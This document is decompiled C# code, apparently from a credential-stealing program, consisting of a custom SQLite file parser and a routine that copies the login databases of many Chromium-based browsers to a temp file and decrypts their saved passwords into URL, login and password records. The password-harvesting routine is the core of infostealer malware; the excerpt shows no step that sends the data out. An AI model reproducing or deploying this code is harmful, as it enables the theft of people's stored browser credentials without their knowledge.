// Token: 0x0600003F RID: 63 RVA: 0x00005180 File Offset: 0x00003380 private bool ReadTableFromOffset(ulong offset) { bool result; try { bool flag = this._fileBytes[(int)(checked ((IntPtr)offset))] == 13; if (flag) { ushort num = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL); int num2 = 0; bool flag2 = this._tableEntries != null; if (flag2) { num2 = this._tableEntries.Length; Array.Resize <Sqlite.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num + 1); } else { this._tableEntries = new Sqlite.TableEntry[(int)(num + 1)]; } for (ushort num3 = 0; num3 <= num; num3 += 1) { ulong num4 = this.ConvertToULong((int)offset + 8 + (int)(num3 * 2), 2); bool flag3 = offset != 100UL; if (flag3) { num4 += offset; } int num5 = this.Gvl((int)num4); this.Cvl((int)num4, num5); int num6 = this.Gvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL)); this.Cvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL), num6); ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1L); int num8 = this.Gvl((int)num7); int num9 = num8; long num10 = this.Cvl((int)num7, num8); Sqlite.RecordHeaderField[] array = null; long num11 = (long)(num7 - (ulong)((long)num8) + 1UL); int num12 = 0; while (num11 < num10) { Array.Resize <Sqlite.RecordHeaderField>(ref array, num12 + 1); int num13 = num9 + 1; num9 = this.Gvl(num13); array[num12].Type = this.Cvl(num13, num9); array[num12].Size = (long)((array[num12].Type <= 9L) ? ((ulong)this._sqlDataTypeSize[(int)(checked ((IntPtr)array[num12].Type))]) : ((ulong)((!Sqlite.IsOdd(array[num12].Type)) ? ((array[num12].Type - 12L) / 2L) : ((array[num12].Type - 13L) / 2L)))); num11 = num11 + (long)(num9 - num13) + 1L; num12++; } bool flag4 = array != null; if (flag4) { this._tableEntries[num2 + (int)num3].Content = new string[array.Length]; int num14 = 0; for (int i = 0; i <= array.Length - 1; i++) { bool flag5 = array[i].Type > 9L; if (flag5) { bool flag6 = !Sqlite.IsOdd(array[i].Type); if (flag6) { bool flag7 = this._dbEncoding == 1UL; if (flag7) { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } else { bool flag8 = this._dbEncoding == 2UL; if (flag8) { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.Unicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } else { bool flag9 = this._dbEncoding == 3UL; if (flag9) { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } } } } else { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } } else { this._tableEntries[num2 + (int)num3].Content[i] = Convert.ToString(this.ConvertToULong((int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size)); } num14 += (int)array[i].Size; } } } } else { bool flag10 = this._fileBytes[(int)(checked ((IntPtr)offset))] == 5; if (flag10) { ushort num15 = (ushort)(this.ConvertToULong((int)(offset + 3UL), 2) - 1UL); for (ushort num16 = 0; num16 <= num15; num16 += 1) { ushort num17 = (ushort)this.ConvertToULong((int)offset + 12 + (int)(num16 * 2), 2); this.ReadTableFromOffset((this.ConvertToULong((int)(offset + (ulong)num17), 4) - 1UL) * this._pageSize); } this.ReadTableFromOffset((this.ConvertToULong((int)(offset + 8UL), 4) - 1UL) * this._pageSize); } } result = true; } catch { result = false; } return(result); }
// Token: 0x0600001E RID: 30 RVA: 0x00003D68 File Offset: 0x00001F68 private static List <PassData> Get(string basePath) { bool flag = !File.Exists(basePath); List <PassData> result; if (flag) { result = null; } else { bool flag2 = basePath.Contains("Chrome"); if (flag2) { } bool flag3 = basePath.Contains("Yandex"); if (flag3) { } bool flag4 = basePath.Contains("Orbitum"); if (flag4) { } bool flag5 = basePath.Contains("Opera"); if (flag5) { } bool flag6 = basePath.Contains("Amigo"); if (flag6) { } bool flag7 = basePath.Contains("Torch"); if (flag7) { } bool flag8 = basePath.Contains("Comodo"); if (flag8) { } bool flag9 = basePath.Contains("CentBrowser"); if (flag9) { } bool flag10 = basePath.Contains("Go!"); if (flag10) { } bool flag11 = basePath.Contains("uCozMedia"); if (flag11) { } bool flag12 = basePath.Contains("MapleStudio"); if (flag12) { } bool flag13 = basePath.Contains("BlackHawk"); if (flag13) { } bool flag14 = basePath.Contains("CoolNovo"); if (flag14) { } bool flag15 = basePath.Contains("Vivaldi"); if (flag15) { } bool flag16 = basePath.Contains("Sputnik"); if (flag16) { } bool flag17 = basePath.Contains("Maxthon"); if (flag17) { } bool flag18 = basePath.Contains("AcWebBrowser"); if (flag18) { } bool flag19 = basePath.Contains("Epic Browser"); if (flag19) { } bool flag20 = basePath.Contains("Baidu Spark"); if (flag20) { } bool flag21 = basePath.Contains("Rockmelt"); if (flag21) { } bool flag22 = basePath.Contains("Sleipnir"); if (flag22) { } bool flag23 = basePath.Contains("SRWare Iron"); if (flag23) { } bool flag24 = basePath.Contains("Titan Browser"); if (flag24) { } bool flag25 = basePath.Contains("Flock"); if (flag25) { } List <PassData> list2; try { string text = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; bool flag26 = File.Exists(text); if (flag26) { File.Delete(text); } File.Copy(basePath, text, true); Sqlite sqlite = new Sqlite(text); List <PassData> list = new List <PassData>(); sqlite.ReadTable("logins"); for (int i = 0; i < sqlite.GetRowCount(); i++) { try { string text2 = string.Empty; try { byte[] bytes = Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 5)), null); text2 = Encoding.UTF8.GetString(bytes); } catch (Exception) { } bool flag27 = text2 != ""; if (flag27) { list.Add(new PassData { Url = sqlite.GetValue(i, 1).Replace("https://", "").Replace("http://", ""), Login = sqlite.GetValue(i, 3), Password = text2, Program = Chromium.program }); } } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } File.Delete(text); list2 = list; } catch (Exception ex2) { Console.WriteLine(ex2.ToString()); list2 = null; } result = list2; } return(result); }
// Token: 0x06000040 RID: 64 RVA: 0x0000567C File Offset: 0x0000387C private void ReadMasterTable(long offset) { try { byte b = this._fileBytes[(int)(checked ((IntPtr)offset))]; if (b != 5) { if (b == 13) { ulong num = this.ConvertToULong((int)offset + 3, 2) - 1UL; int num2 = 0; bool flag = this._masterTableEntries != null; if (flag) { num2 = this._masterTableEntries.Length; Array.Resize <Sqlite.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num + 1); } else { this._masterTableEntries = new Sqlite.SqliteMasterEntry[num + 1UL]; } for (ulong num3 = 0UL; num3 <= num; num3 += 1UL) { ulong num4 = this.ConvertToULong((int)offset + 8 + (int)num3 * 2, 2); bool flag2 = offset != 100L; if (flag2) { num4 += (ulong)offset; } int num5 = this.Gvl((int)num4); this.Cvl((int)num4, num5); int num6 = this.Gvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL)); this.Cvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL), num6); ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1L); int num8 = this.Gvl((int)num7); int num9 = num8; long num10 = this.Cvl((int)num7, num8); long[] array = new long[5]; for (int i = 0; i <= 4; i++) { int startIdx = num9 + 1; num9 = this.Gvl(startIdx); array[i] = this.Cvl(startIdx, num9); array[i] = (long)((array[i] <= 9L) ? ((ulong)this._sqlDataTypeSize[(int)(checked ((IntPtr)array[i]))]) : ((ulong)((!Sqlite.IsOdd(array[i])) ? ((array[i] - 12L) / 2L) : ((array[i] - 13L) / 2L)))); } bool flag3 = this._dbEncoding != 1UL && this._dbEncoding != 2UL; if (flag3) { long dbEncoding = (long)this._dbEncoding; } bool flag4 = this._dbEncoding == 1UL; if (flag4) { this._masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } else { bool flag5 = this._dbEncoding == 2UL; if (flag5) { this._masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } else { bool flag6 = this._dbEncoding == 3UL; if (flag6) { this._masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } } } this._masterTableEntries[num2 + (int)num3].RootNum = (long)this.ConvertToULong((int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2]), (int)array[3]); bool flag7 = this._dbEncoding == 1UL; if (flag7) { this._masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } else { bool flag8 = this._dbEncoding == 2UL; if (flag8) { this._masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } else { bool flag9 = this._dbEncoding == 3UL; if (flag9) { this._masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } } } } } } else { ushort num11 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL); for (int j = 0; j <= (int)num11; j++) { ushort num12 = (ushort)this.ConvertToULong((int)offset + 12 + j * 2, 2); bool flag10 = offset == 100L; if (flag10) { this.ReadMasterTable((long)((this.ConvertToULong((int)num12, 4) - 1UL) * this._pageSize)); } else { this.ReadMasterTable((long)((this.ConvertToULong((int)(offset + (long)((ulong)num12)), 4) - 1UL) * this._pageSize)); } } this.ReadMasterTable((long)((this.ConvertToULong((int)offset + 8, 4) - 1UL) * this._pageSize)); } } catch { } }